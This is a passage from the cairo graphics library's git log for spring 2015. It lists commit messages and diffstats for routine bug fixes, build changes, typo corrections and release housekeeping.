    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 build/configure.ac.warnings | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 31291611625c21bc9ec2827cf4ccc8a1f18392ed
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Sat Jun 27 00:34:05 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Jun 27 00:34:05 2015 -0700

    RELEASING: Add requirement to upload ChangeLogs
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=21676

 RELEASING | 5 +++++
 1 file changed, 5 insertions(+)

commit bf4f5f3a904850f0c110ca8530b1965dc969312d
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jun 26 16:30:06 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jun 26 16:30:06 2015 -0700

    cairo-script: Return a cairo_status_t error, not FALSE
    
    This typo results in certain paths being incorrectly recorded with
    script surfaces.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=91054
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-script-surface.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit bb24f165ff57973347b34956a371c6b33d2d9b59
Author:     John Lindgren <john.lindgren@aol.com>
AuthorDate: Sun May 31 11:48:30 2015 -0400
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jun 26 16:12:33 2015 -0700

    Avoid indiscriminate use of VALGRIND_MAKE_MEM_NOACCESS.
    
    Marking stack-allocated objects as no-access creates false positives,
    which distract from finding real memory errors.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=52548
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-freelist-private.h |  2 +-
 src/cairo-freelist.c         |  8 ++++----
 src/cairo-gstate.c           |  2 +-
 src/cairo-path-fixed.c       |  2 +-
 src/cairo-pattern.c          | 10 +++++-----
 src/cairo-pen.c              |  2 +-
 src/cairo-polygon.c          |  2 +-
 src/cairo-region.c           |  2 +-
 src/cairo-stroke-style.c     |  2 +-
 src/cairo-traps.c            |  2 +-
 src/cairo-tristrip.c         |  2 +-
 11 files changed, 18 insertions(+), 18 deletions(-)

commit 1bcce4362927952b25cb916f862dde6fd35f8125
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Jun 25 18:54:23 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 25 18:54:23 2015 -0700

    cairo-recording-surface: Fix loss of alpha when clipping
    
    Commit 8020e0bc introduced a regression due to a typo when copying a
    mask for a cairo recording surface.  It should copy the source and mask
    members from the command source to the recording surface, but instead it
    copies the source twice.
    
    Fix suggested by Massimo.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=73038
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=73901

 src/cairo-recording-surface.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit c1c3028a0cf0e7673ef82cc8f39cb6035a036944
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Jun 25 17:41:26 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 25 17:42:27 2015 -0700

    cairo-script: Fix sp. "directoriy"
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-script-surface.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit f82ae573fe4748874e6dc7025016f7bf6bc8f7f3
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Sat Jun 20 10:59:52 2015 +0200
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Sat Jun 20 10:59:52 2015 +0200

    XCB: Don't attach uploaded surfaces as snapshots
    
    When you draw (part of) a surface to an XCB surface, the XCB backend will safe
    the uploaded part as a snapshot to the input surface. This allows to re-use this
    picture in case the same surface is later used again as a source.
    
    However, other backends do not do this and this has caused and/or highlighted
    numerous bugs. Just skipping the snapshot fixes or hides these bugs.
    
    Papers-over: https://bugs.freedesktop.org/show_bug.cgi?id=67505
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xcb-surface-render.c | 3 +++
 1 file changed, 3 insertions(+)

commit e7acf4b6dc6666c2a2c54fb08e9ad6f01a1d415f
Author:     Alban Browaeys <prahal@yahoo.com>
AuthorDate: Wed Jan 21 12:01:45 2015 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 16:07:40 2015 -0700

    pattern: allow for a floating one pixel rounded difference.
    
    That is if the difference between the origin and the end is bigger than
    .5 round up regardless of the coordinates.
    
    Round the difference of the floats instead of rounding the floats then
    diff them.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=84396
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-pattern.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

commit b4a922f62d34973ea89495b40ce8bc6378110b9e
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jun 16 16:42:56 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 12:38:59 2015 -0700

    cairo-script: Rename struct member to avoid name collision on AIX
    
    On AIX, the token jmpbuf is a pre-processor macro.
    cairo-script-scanner.c includes a private struct with a member named
    jmpbuf which gets renamed to __jmpbuf when AIX's sys/context.h has been
    included.
    
    While judicious ordering of includes might kludge around this problem
    (by causing all references to .jmpbuf to become .__jmpbuf), it's better
    to simply select a new name for the struct member that won't suffer the
    collision.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=89339
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>

 util/cairo-script/cairo-script-private.h |  2 +-
 util/cairo-script/cairo-script-scanner.c | 74 ++++++++++++++++----------------
 2 files changed, 38 insertions(+), 38 deletions(-)

commit 714a77e3f1c818bb5eec8c654c576d862ef6684c
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jun 16 15:18:23 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 12:38:55 2015 -0700

    cairo-script: Prefer cairo from local tree
    
    Use quoted includes rather than bracketed, to prefer linking to the
    in-tree cairo in preference to the system cairo.
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>

 util/cairo-script/cairo-script-interpreter.c | 3 +--
 util/cairo-script/csi-bind.c                 | 4 ++--
 util/cairo-script/csi-exec.c                 | 4 ++--
 util/cairo-script/csi-replay.c               | 4 ++--
 util/cairo-script/csi-trace.c                | 4 ++--
 5 files changed, 9 insertions(+), 10 deletions(-)

commit 3ed581149f82b653e1987e746467ad8ae9ce3ca2
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jun 16 15:13:31 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 12:38:51 2015 -0700

    cairo-script: Cleanup boilerplate header for consistency
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>

 util/cairo-script/cairo-script-hash.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

commit d31e2418d6d9920205a154f21becca12a7b84c2a
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jun 16 15:06:59 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 12:38:47 2015 -0700

    cairo-script: Add missing copyright and boilerplate
    
    Chris wrote all of the cairo script stuff.  I'm making a guess about the
    copyright date.
    
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 util/cairo-script/csi-bind.c   | 33 +++++++++++++++++++++++++++++++++
 util/cairo-script/csi-exec.c   | 33 +++++++++++++++++++++++++++++++++
 util/cairo-script/csi-replay.c | 33 +++++++++++++++++++++++++++++++++
 util/cairo-script/csi-trace.c  | 33 +++++++++++++++++++++++++++++++++
 4 files changed, 132 insertions(+)

commit a3b6afabf670076e093850606d89e142ddf6ea09
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jun 16 15:05:54 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 18 12:38:43 2015 -0700

    cairo-script: Always include config.h first thing
    
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 util/cairo-script/cairo-script-file.c        | 2 ++
 util/cairo-script/cairo-script-hash.c        | 2 ++
 util/cairo-script/cairo-script-interpreter.c | 2 ++
 util/cairo-script/cairo-script-objects.c     | 2 ++
 util/cairo-script/cairo-script-operators.c   | 2 ++
 util/cairo-script/cairo-script-scanner.c     | 2 ++
 util/cairo-script/cairo-script-stack.c       | 2 ++
 util/cairo-script/csi-bind.c                 | 3 +++
 util/cairo-script/csi-exec.c                 | 3 +++
 util/cairo-script/csi-replay.c               | 3 +++
 util/cairo-script/csi-trace.c                | 3 +++
 11 files changed, 26 insertions(+)

commit 11b6c49c103d53526e9805c8906fde5dbb2eb884
Author:     Fredrik Fornwall <fredrik@fornwall.net>
AuthorDate: Sun May 31 20:36:48 2015 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jun 5 20:53:11 2015 -0700

    Fix cairo_get_locale_decimal_point() on Android

 src/cairo-misc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 1ed318ce1337ce4d09c508eb74763bf43cce8d9f
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Tue Sep 23 12:37:35 2014 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 15:02:01 2015 -0700

    polygon-intersection: Delete misleading comments and dead-code
    
    den_det is positive because intersect_lines is called
    only after _slope_compare returned > 0 and slope_compare
    is returning the sign of den_det
    
    The quadratic-time intersection finder is #if 0-ed out
    in src/cairo-bentley-ottman.c, but is unusable even there
    since the second commit to that file.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=74779
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-polygon-intersect.c | 60 ++-----------------------------------------
 1 file changed, 2 insertions(+), 58 deletions(-)

commit 63f59ea89625bc2f445c5ab342c0f1c3971aabea
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Tue Sep 23 12:37:26 2014 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 15:01:57 2015 -0700

    polygon-intersection: Try not to invoke undefined behaviour
    
    Optimizing compilers aggressively remove code that is executed only
    after an undefined behaviour occurred.
    
    Also, the difference of two (non char) pointers hides an integer
    division that, because the divisor is known at compile time, is
    transformed into a multiplication by a pseudo-reciprocal, and in this
    case the difference is not always a multiple of the divisor, resulting
    in an invalid comparison predicate.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=74779
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-polygon-intersect.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit a3c022bb98d716bd4e3f9ce50095a72e25605fe8
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Tue Sep 23 12:37:20 2014 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 15:01:35 2015 -0700

    polygon-intersection: Include approximation in intersection points
    
    In Hobby's paper it is proved that INTERSECTION events can be
    processed in any order by ignoring intersections between edges
    non-adjacent in the active edges list.
    But with respect to START/STOP events they must be processed in
    order. Because START/STOP events have always exact y, it is
    sufficient to know whether an integer y intersection is a
    default/excess approximation of the exact to properly sort events.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=74779
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-polygon-intersect.c | 139 ++++++++++++++++++++----------------------
 1 file changed, 67 insertions(+), 72 deletions(-)

commit 9f2bbfa41fa26a44c38949ecf329b06b5585c87c
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Tue Sep 23 12:37:08 2014 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 15:00:58 2015 -0700

    polygon-intersection: Do not discard intersection exactly at top edge
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=74779
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-polygon-intersect.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit b9ada819953303e708a376779ff27f75ff6bc51c
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Jun 4 14:24:31 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 14:24:31 2015 -0700

    cairo-script: Improve buffer length check
    
    Quells the following warning:
    
    cairo-script-scanner.c: In function ‘_translate_string’:
    cairo-script-scanner.c:1623:18: warning: comparison between signed and
    unsigned integer expressions [-Wsign-compare]
          if (buf_len <= 8 + 2*string->len) {
                      ^

 util/cairo-script/cairo-script-scanner.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

commit f032133e6d5ad05157fc46609d8c63103028342c
Author:     Julien Isorce <j.isorce@samsung.com>
AuthorDate: Wed Sep 3 10:58:18 2014 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 14:12:12 2015 -0700

    build: Show all disabled features in cairo-features.h
    
    Even features which are disabled by default should appear in
    cairo-features.h.
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=83359
    (Patch approved by Behdad Esfahbod in bug tracker.)
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 build/configure.ac.features | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 5d150ee111c222f09e78f4f88540964476327844
Author:     Nathan Froyd <froydnj@mozilla.com>
AuthorDate: Mon May 4 13:38:41 2015 -0400
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jun 4 13:25:23 2015 -0700

    Support new-style __atomic_* primitives
    
    Recent versions of GCC/clang feature a new set of compiler intrinsics
    for performing atomic operations, motivated by the operations needed to
    support the C++11 memory model.  These intrinsics are more flexible than
    the old __sync_* intrinstics and offer efficient support for atomic load
    and store operations.
    
    Having the load appear atomic to the compiler is particular important
    for tools like ThreadSanitizer so they don't report false positives on
    memory operations that we intend to be atomic.
    
    Patch from Nathan Froyd <froydnj@mozilla.com>

 build/aclocal.cairo.m4     | 12 +++++++
 src/cairo-atomic-private.h | 90 ++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 102 insertions(+)

commit d1dda5eeb218d22c79eb82714f5d7c9869f70260
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Thu May 21 22:37:06 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Thu May 21 22:40:01 2015 +0930

    cff: ensure glyph widths are positive when font matrix yy is negative
    
    Bug 90538

 src/cairo-cff-subset.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit f52f0e2feb1ad0a4de23c475a8c020d41a1764a8
Author:     Zan Dobersek <zdobersek@igalia.com>
AuthorDate: Fri May 8 01:50:25 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon May 18 15:03:29 2015 -0700

    Manually transpose the matrix in _cairo_gl_shader_bind_matrix()
    
    To maintain compatibility with OpenGL ES 2.0, the matrix in
    _cairo_gl_shader_bind_matrix() should be manually transposed,
    and GL_FALSE passed as the transpose argument to the
    glUniformMatrix3fv() call as it is the only valid value for
    that parameter in OpenGL ES 2.0.
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>
    Acked-by: "Henry (Yu) Song" <henry.song@samsung.com>

 src/cairo-gl-shaders.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

commit 8b798c320f6fd2d87349d0a716304474022bc5ea
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Apr 24 18:23:46 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Apr 24 18:23:46 2015 -0700

    Fix broken canvas text font size in Inkscape
    
    An earlier fix to bug 84324 added a regression in the font size of
    canvas text in Inkscape when compiled with the Quartz backend.
    
    Patch from Andrea Canciani
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=84324
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-quartz-font.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit d5ffe67008afe46c030b31afc0803321b6479990
Author:     Behdad Esfahbod <behdad@behdad.org>
AuthorDate: Thu Apr 23 14:26:14 2015 -0700
Commit:     Behdad Esfahbod <behdad@behdad.org>
CommitDate: Thu Apr 23 14:26:14 2015 -0700

    Remove debug printf; ouch!

 src/cairo-ft-font.c | 1 -
 1 file changed, 1 deletion(-)

commit 853e822c9c8f6d86c730d27e99458dea8b6717e1
Author:     Behdad Esfahbod <behdad@behdad.org>
AuthorDate: Tue Apr 21 14:31:53 2015 -0700
Commit:     Behdad Esfahbod <behdad@behdad.org>
CommitDate: Tue Apr 21 14:31:53 2015 -0700

    Oops, fixup previous commit

 src/cairo-font-face.c | 7 +++++++
 src/cairoint.h        | 1 +
 2 files changed, 8 insertions(+)

commit bb01fd879448b47074d4d800fe1620a57caf1dbe
Author:     Behdad Esfahbod <behdad@behdad.org>
AuthorDate: Tue Apr 21 14:29:41 2015 -0700
Commit:     Behdad Esfahbod <behdad@behdad.org>
CommitDate: Tue Apr 21 14:29:41 2015 -0700

    [ft] Return CAIRO_STATUS_FILE_NOT_FOUND if font file can't be opened
    
    A common source of error when people are setting up pango on a new
    device is when font files don't have the right permissions and cannot
    be opened.  Cairo was returning out-of-memory before, making the
    Pango error message useless.
    
    With this change, cairo will return file-not-found, and pango prints
    that out.  It's still not ideal; a ENOACCESS equivalent would have
    been better.

 src/cairo-ft-font.c | 50 +++++++++++++++++++++++++++++++++++---------------
 1 file changed, 35 insertions(+), 15 deletions(-)

commit 040ae0ce1934ac27c6394dc74405faad34cd5913
Author:     江頭幸路 <koji.egashira@access-company.com>
AuthorDate: Fri Apr 17 20:59:17 2015 +0900
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Apr 20 17:16:18 2015 -0700

    Avoid appending an empty slot to an user data array when user_data is NULL.
    
    Otherwise, calling cairo_set_user_data(cr, key, 0, 0) many times
    causes a long user data array, almost all of whose slots are empty.
    It leads to unnecessarily much memory consumption and long execution time of
    cairo_set_user_data(cr, key, 0, 0) and cairo_get_user_data(cr, key) after
    it.
    
    This issue probably happens since the commit
    http://cgit.freedesktop.org/cairo/commit/?id=9341c254a
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-array.c | 3 +++
 1 file changed, 3 insertions(+)

commit 89942c6af00af8b72babeae676376f4cf8911c16
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Apr 9 01:31:34 2015 +0200
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Thu Apr 16 11:28:50 2015 +0200

    test: Correct bug number in clip-complex-bug61592
    
    The filename of the C source file is correct, but the test name (both
    as function name and as reference image name) has a typo in it.
    
    Related to https://bugs.freedesktop.org/show_bug.cgi?id=61592

 test/clip-complex-bug61592.c                 |   2 +-
 test/reference/clip-complex-bug61492.ref.png | Bin 105 -> 0 bytes
 test/reference/clip-complex-bug61592.ref.png | Bin 0 -> 105 bytes
 3 files changed, 1 insertion(+), 1 deletion(-)

commit e38e942ac0ef6f5366cabdb22df9858fa4c05ea1
Author:     Руслан Ижбулатов <lrn1986@gmail.com>
AuthorDate: Sat Apr 4 15:58:53 2015 +0000
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Apr 13 17:43:35 2015 -0700

    win32: Add a win32 boilerplate that uses a real window
    
    This way it uses the codepath for cairo_win32_surface_create_with_format(),
    instead of the cairo_win32_surface_create_with_dib().
    
    Without the recording tests (which terminate the testsuite)
    the testsuite results for win32 are:
    
    284 Passed, 167 Failed [1 crashed, 9 expected], 23 Skipped
    win32 (rgb24): 1 crashed!
    win32 (rgb24): 17 error
    win32 (rgb24): 155 failed
    win32 (argb32): 1 crashed!
    win32 (argb32): 17 error
    win32 (argb32): 68 failed
    win32-window-color (rgb24): 1 crashed!
    win32-window-color (rgb24): 17 error
    win32-window-color (rgb24): 148 failed
    win32-window-coloralpha (argb32): 1 crashed!
    win32-window-coloralpha (argb32): 17 error
    win32-window-coloralpha (argb32): 66 failed
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 boilerplate/cairo-boilerplate-win32.c | 242 ++++++++++++++++++++++++++++++++--
 1 file changed, 228 insertions(+), 14 deletions(-)

commit 16898ba11b4d6e9e2e64bb2d02d0fb5adbe266e2
Author:     Руслан Ижбулатов <lrn1986@gmail.com>
AuthorDate: Thu Mar 26 19:33:43 2015 +0000
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Apr 13 17:43:28 2015 -0700

    win32: Add cairo API to set up a Win32 surface for an HDC with an alpha channel.
    
    Signed-off-by: Руслан Ижбулатов <lrn1986@gmail.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-win32.h                       |  4 ++
 src/win32/cairo-win32-display-surface.c | 68 +++++++++++++++++++++++++--------
 2 files changed, 56 insertions(+), 16 deletions(-)

commit 654b4a8efe579b05e60c0bd0b7722d474366b1cc
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Mar 26 17:36:16 2015 +0100
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Wed Apr 8 14:32:17 2015 +0200

    test: Fix coverage-intersecting-triangles reference
    
    Commit 4e3ef57bc892b0b046c486390adc7164a1de64de added
    coverage-intersecting-triangles with an incorrect reference and
    generator. The test checks the rasterization of two overlapping
    triangles in the following position:
    
       .   .
       |\ /|
       | X |
       |/ \|
       .---.
    
    Since the triangles have both vertical and horizontal sides of size
    x/WIDTH, the expected coverage is 3/4 (75%) of (x/WIDTH)^2. The
    original code, instead, was checking for a coverage of 0.75*x/WIDTH,
    as if one of the sides was always 1 unit long.
    
    The image and xlib backends still suffer from some jitter, caused by
    the approximation of the actual coverage by means of sampling. For
    this reason their references are still considered XFAIL, even though
    their result now looks mostly consistent with the expected reference.

 test/coverage.c                                         |   2 +-
 .../coverage-intersecting-triangles.image.xfail.png     | Bin 0 -> 14444 bytes
 test/reference/coverage-intersecting-triangles.ref.png  | Bin 209 -> 262 bytes
 .../reference/coverage-intersecting-triangles.xfail.png | Bin 14444 -> 0 bytes
 4 files changed, 1 insertion(+), 1 deletion(-)

commit 2cf2d8e340a325adb205baf8e4bd64e1d1858008
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Sat Apr 4 15:49:18 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Apr 4 15:49:18 2015 -0700

    Fix spellings descibed, indicies, stange

 src/cairo-pdf-surface.c         | 2 +-
 src/drm/cairo-drm-intel-debug.c | 2 +-
 test/zero-alpha.c               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

commit 71392653803277cec6deea9e7aa4696f8b22dd73
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Mar 18 18:46:35 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Mar 18 18:46:35 2015 -0700

    NEWS: Sp. fix

 NEWS | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

commit 904f1fdc1d7f13d4443bafd760db7395c5030ca7
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Mar 18 15:49:41 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Mar 18 15:49:41 2015 -0700

    surface: Clarify flush documentation

 src/cairo-surface.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

commit b19b06c46318e2fe80e2c36175075d11bf4a04ee
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Mar 12 17:02:02 2015 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Mar 13 13:18:32 2015 -0700

    Harden make-cairo-test-constructors.sh
    
    The make-cairo-test-constructors.sh script executes several commands
    without checking their success. This can lead to undetected errors,
    like those fixed in 86fad78fcd2bf987249890aea4eabcce02a58f45.
    
    The script now exits with an error status if no file is
    input. Moreover, it sets the '-e' flag, so that if a command fails,
    the whole script is immediately terminated with an error.
    
    In the Makefile.am, the script result is now checked and the target
    file is removed upon error. This ensures that the
    'cairo-test-constructors.c' target completes succesfully only if no
    error occurred.
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 test/Makefile.am                     | 2 +-
 test/make-cairo-test-constructors.sh | 4 +++-
 2 files changed, 4 insertions(+), 2 deletions(-)

commit ec0153940d694c71324ed0d9cf895ac49ed19674
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Mar 13 13:17:28 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Mar 13 13:18:32 2015 -0700

    Start 1.14.3 development

 cairo-version.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 5182d9bc5e0c8ca9c2943cd249e22fd28f582892
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Wed Mar 11 19:16:38 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Wed Mar 11 19:16:38 2015 +1030

    doc: add index of new symbols in 1.14

 doc/public/cairo-docs.xml | 3 +++
 1 file changed, 3 insertions(+)

commit db6668cd0a836416e74cf6556bfd3e2bc1d3a4d4
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Mar 10 19:55:35 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Mar 10 19:57:19 2015 -0700

    RELEASING:  Update contacts
    
    Add a CC to the cairo@ list itself.
    
    Drop updating of the GNOME dependencies page; this appears to have not
    been updated since 2008.

 RELEASING | 20 ++++++++------------
 1 file changed, 8 insertions(+), 12 deletions(-)

commit 93422b3cb5e0ef8104b8194c8873124ce2f5ea2d
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Tue Mar 10 18:42:50 2015 -0700
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 18:42:50 2015 -0700

    version: bump for cairo-1.14.2 release

 cairo-version.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 061d54745a0c20b5da08ec4ff8b958d20fd6a143
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Tue Mar 10 16:24:37 2015 -0700
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 16:24:37 2015 -0700

    KNOWN_ISSUES:  Restore known issues file as a stub
    
    Apparently distcheck requires this file be present.

 KNOWN_ISSUES | 3 +++
 1 file changed, 3 insertions(+)

commit fb41ed34415dd58fe57490f93c6151a4bec483f1
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Tue Mar 10 13:08:29 2015 -0700
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 13:08:29 2015 -0700

    NEWS: Note about the OS X support

 NEWS | 5 +++++
 1 file changed, 5 insertions(+)

commit 845d2420e0cbfd338bab63764c4fe3c4273ab47e
Author:     Andrea Canciani <ranma42@tartaros.local>
AuthorDate: Tue Mar 10 12:10:35 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 12:42:16 2015 -0700

    Update README with new minimum MacOSX requirements
    
    Since 70cc8f250b5669e757b4f044571ba0f71e3dea9e the quartz backend is
    using some APIs that are not available on MacOSX 10.4 directly
    (i.e. without detecting their availability through dynamic linking).
    This means that the quartz backend does not work anymore on MacOSX
    10.4 and that the 10.5 SDK (or newer) is needed to build.

 README | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 86fad78fcd2bf987249890aea4eabcce02a58f45
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Tue Mar 10 12:15:40 2015 -0700
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 12:15:40 2015 -0700

    On MacOSX, the sed utility errors out when parsing non-UTF8
    files. Because of this, the generated cairo-test-constructor only
    contained a few tests and the test suite was thus incomplete.
    
    Original patch by Andrea Canciani <ranma42@gmail.com>

 test/composite-integer-translate-over.c | 2 +-
 test/degenerate-dash.c                  | 2 +-
 test/degenerate-path.c                  | 2 +-
 test/long-dashed-lines.c                | 2 +-
 test/reflected-stroke.c                 | 2 +-
 test/user-font-rescale.c                | 4 ++--
 6 files changed, 7 insertions(+), 7 deletions(-)

commit f8407332214ba87bbd652f09ce3618a973f27878
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Tue Mar 10 12:10:34 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 10:56:00 2015 -0700

    Update KNOWN_ISSUES documentation
    
    The bug mentioned in KNOWN_ISSUES was fixed in
